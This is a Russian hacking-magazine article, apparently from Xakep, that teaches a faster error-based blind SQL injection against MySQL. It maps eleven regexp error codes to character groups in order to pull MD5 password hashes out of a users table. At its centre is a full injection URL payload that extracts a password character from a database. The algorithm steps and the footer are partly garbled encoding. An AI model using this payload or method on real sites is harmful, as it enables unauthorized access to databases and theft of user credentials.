взлом ЭКСПЛОЙТЫ ДЛЯ BLIND SQL INJECTION ПИШУТСЯ ПОЧТИ ЕЖЕДНЕВНО count(s)' from regexp При каждом запросе по коду ошибки мы можем узнать, к какой группе принадлежит символ! Напишем скрипт, использующий данный метод. Для составления оптимального запроса нужно сгруппировать символы алфавита так, чтобы количество обращений к серверу было минимальным. Рассмотрим задачу на примере MD5. Мы знаем, что у нас могут присутствовать только символы из диапазона [0-9,a-f]. Также мы знаем, что количество групп символов равно двенадцати, ведь всего наш запрос может вернуть одиннадцать видов ошибок и одно состояние, когда ошибки нет. Для случая с MD5 оптимальной расстановкой символов по состояниям, к примеру, будет: [01]: '0','b','c','d','e','f' [02]: '1' [03]: '2' [04]: '3' [05]: '4' [06]: '5' [07]: '6' [08]: '7' [09]: '8' [10]: '9' [11]: 'a' При каждом запросе к серверу мы узнаем номер группы, в которой находится символ, хранящийся в БД. В итоге, если символ находится в группах 02-11, — мы узнаем значение этого символа с помощью всего одного запроса. Если нам не повезло и символ находится в группе 01, то перед отправкой следующего запроса рассортируем символы из этой группы по состояниям и сразу же узнаем значение интересующего нас символа: [01]: '0' [02]: 'b' [03]: 'c' [04]: 'd' [05]: 'e' [06]: 'f' Итоговый алгоритм работы по этому методу выглядит несложно: 1. Îïòèìàëüíî ðàñïðåäåëèòü ñèìâîëû 068 àëôàâèòà ïî ãðóïïàì 2. Óñòàíîâèòü ñîîòâåòñòâèÿ ìåæäó íîìåðîì ãðóïïû è âîçâðàùàåìûì êîäîì îøèáêè 3. Ïî âîçâðàùåííîìó êîäó îøèáêè âûÿñíèòü, â êàêîé ãðóïïå íàõîäèòñÿ ñèìâîë èç ÁÄ 4. Åñëè â ýòîé ãðóïïå òîëüêî îäèí ñèìâîë, òî âûâîäèì åãî íà ýêðàí; åñëè áîëüøå, ÷åì îäèí ñèìâîë, òî ðàñïðåäåëèì ñèìâîëû èç ãðóïïû ïî ñîñòîÿíèÿì è âîçâðàùàåìñÿ ê øàãó 2 В соответствии с алгоритмом составляем запрос. И замечаем, что ошибки, которые мы собираемся использовать, обладают парой особенностей. Первая заключается в том, что запрос "x" regexp concat("x{1,25", if(@@ version5, "5}", "6}") вернет нужную нам ошибку, только если мы его будем передавать на сервер именно в таком виде. То есть, все вложенные условия нужно добавлять внутрь этого if, а также в начале всех остальных выражений regexp нужно добавлять символ «}». Иначе, независимо от содержания остальных подзапросов, мы будем получать лишь ошибку: «#1139 — Got error 'repetition-operator operand invalid' from regexp». Вторая особенность заключается в том, что запрос select 1 regexp if(1=1,'',2) , возвращающий ошибку «Got error 'empty (sub) expression' from regexp», работает, как хочется нам, только при наличии пустого подзапроса в regexp или так: 'a|', когда после символа '|' отсутствует что бы то ни было. Поэтому, с учетом первой особенности, будем использовать именно этот вид подзапроса. Теперь попробуем собрать всю известную нам информацию вместе, и для выуживания MD5-хеша получаем итоговый запрос: sql.php?id=1+AND+"x"+ regexp+concat("x{1,25",+(if(find _in_set(substring((select+pass+fro m+users+limit+0,1),1,1),'0,c,d,e,f ,1,2,3,4,5,6,7,8,9,a'), (if(find_in_set(substring((select+ pass+from+users+limit+0,1),1,1),'0 ,c,d,e,f,1,2,3,4,5,6,7,8,9'), (if(find_in_set(substring((select+ pass+from+users+limit+0,1),1,1),'0 ,c,d,e,f,1,2,3,4,5,6,7,8'), (if(find_in_set(substring((select+ pass+from+users+limit+0,1),1,1),'0 ,c,d,e,f,1,2,3,4,5,6,7'), (if(find_in_set(substring((select+ pass+from+users+limit+0,1),1,1),'0 ,c,d,e,f,1,2,3,4,5,6'), (if(find_in_set(substring((select+ pass+from+users+limit+0,1),1,1),'0 ,c,d,e,f,1,2,3,4,5'), (if(find_in_set(substring((select+ pass+from+users+limit+0,1),1,1),'0 ,c,d,e,f,1,2,3,4'), (if(find_in_set(substring((select+ pass+from+users+limit+0,1),1,1),'0 ,c,d,e,f,1,2,3'), (if(find_in_set(substring((select+ pass+from+users+limit+0,1),1,1),'0 ,c,d,e,f,1,2'), (if(find_in_set(substring((select+ pass+from+users+limit+0,1),1,1),'0 ,c,d,e,f,1'), (if(find_in_set(substring((select+ pass+from+users+limit+0,1),1,1),'0 ,c,d,e,f'), ('}'), (select+1+union+select+2))), '}x{1,0}')), '}x{1,(')), '}[[:]]')), '}[[')), '}(({1}')), '}|')), '}(')), '}[2-1]')), '}[[.ch.]]')), '}\\'))) +--+1 В результате, этот запрос не вернет ошибки, если символ из базы данных является одним из символов '0,c,d,e,f', а вернет ошибку «Subquery returns more than 1 row», если в базе данных лежит цифра 1. Также запрос вернет ошибку 'invalid repetition count(s)', если в базе лежит символ '2'. И так далее. Итак, мы добились того, чего хотели — запрос при помощи 11 различных видов ошибок сообщает нам, какой именно символ лежит в базе данных. Мы получаем быстродействие, превышающее скорость работы всех остальных методов работы с Blind SQL Injection. Для выуживания MD5-хеша нам потребуется около 42 запросов, а это уже на порядок быстрее, чем в тех методах, которые используют сейчас. Мало того, если найти еще 4 запроса, при которых ошибка будет возникать во время выполнения, то на получение всего хеша нам потребуется уже 32 запроса. А это значит – 1 запрос на 1 символ. Раньше о подобном можно было только мечтать. Понятно, что подобные SQL-обращения крайне тяжело составлять вручную, поэтому на диске ты найдешь скрипт, который умеет составлять запросы для алфавитов любой длины и при любом количестве известных ошибок OUTRO На самом деле, существуют еще возможности ускорить процесс работы со слепыми SQL-инъекциями. Осталось только их найти. Главное, не зацикливаться на «дедовских» методах. Относиться ко всему, что придумали хакеры предыдущих поколений, надо, как к деталям мозаики, сложив которые воедино, можно выйти на совершенно новый уровень развития технологий взлома.z XÀÊÅÐ 07 /127/ 09
Реклама